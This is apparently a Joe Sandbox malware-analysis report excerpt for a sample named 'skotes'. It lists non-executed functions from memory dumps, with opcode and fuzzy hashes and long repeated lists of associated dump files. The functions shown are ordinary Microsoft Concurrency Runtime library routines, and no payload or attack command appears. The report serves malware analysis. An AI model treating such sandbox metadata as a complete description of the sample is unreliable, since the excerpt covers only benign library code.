Opcode ID: e93d8b96ae7941688e5771dc4a0285a5405848d1f3e67a860e9b60691b9c31e1
Instruction ID: 88058d5a04ffaedbd9c72b09ab7873f89e9bafe2db9ff9913d23a721ccb070c6
Opcode Fuzzy Hash: e93d8b96ae7941688e5771dc4a0285a5405848d1f3e67a860e9b60691b9c31e1
Instruction Fuzzy Hash: EAF055F364E100FD72414196AA448B67B34F68373C370816BF6338A186E2541566B536

Non-executed Functions

Function 009F0E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 009F0F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 009F0F62

Part of subcall function 009F265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 009F2750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 009F0FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 009F0FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 009F103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 009F106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 009F10C1

Strings

(, xrefs: 009F0F22

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 231cd68f608ab53871491edb6f341f5de6525d6285e133de53ed2d8e8d8a343c
Instruction ID: 43ce5738eff6021db231cfdb1bd7c0ec41f196831965dcc656ceb910b4f3d5ba
Opcode Fuzzy Hash: 231cd68f608ab53871491edb6f341f5de6525d6285e133de53ed2d8e8d8a343c
Instruction Fuzzy Hash: DAB13DB0A00619EFDB28CF68D991B7DB7B9FF84300F144569EA05AB251D734AD91CB90

Function 009F1602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 009F2CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 009F2D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 009F1614

Part of subcall function 009F2E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 009F2E39
Part of subcall function 009F2E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 009F2EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 009F1746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 009F17A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 009F17B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 009F17ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 009F180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 009F181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 009F1823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 009F183B

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: b0513ece07c6ecc2cec49d6f24b7ed7fd940e2d1238a781aa39a7467aa6396aa
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: A4813971A0062ADFCB19DFA8C580A7DB7B5FF88304B1546ADD549AB701C770AD52CBC4

Function 009FEC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 009FEC81

Part of subcall function 009F8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 009F8F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 009FECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 009FECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 009FED0C

Part of subcall function 009FE7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 009FE7D7
Part of subcall function 009FE7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 009FE86F
Part of subcall function 009FE7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 009FE879
Part of subcall function 009FE7AF: Concurrency::location::_Assign.LIBCMT ref: 009FE8AD
Part of subcall function 009FE7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 009FE8B5

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: f9465750948ec864ade64b3dca5071a8c0956604d8c9fa2a52cb02ef6ec34097
Instruction ID: 744ede8a6c9275865390e5dfe9e3745db7f3d9328e917b6c4559eebf9554d18a
Opcode Fuzzy Hash: f9465750948ec864ade64b3dca5071a8c0956604d8c9fa2a52cb02ef6ec34097
Instruction Fuzzy Hash: 1E518031A00209DBCF24DF54C895FBDB775AF84710F154069EA066B7E2CB71AE06CB91

Function 009ECB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 009ECBAA

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: d19856604418de38bc518dd6d349dc29431642b6b6ca21fc289d4a90b2af3ceb
Instruction ID: ab9ecb3dc8d7ec46217c5a6529a72df52749f85d171830dc2ea1199ac989eac9
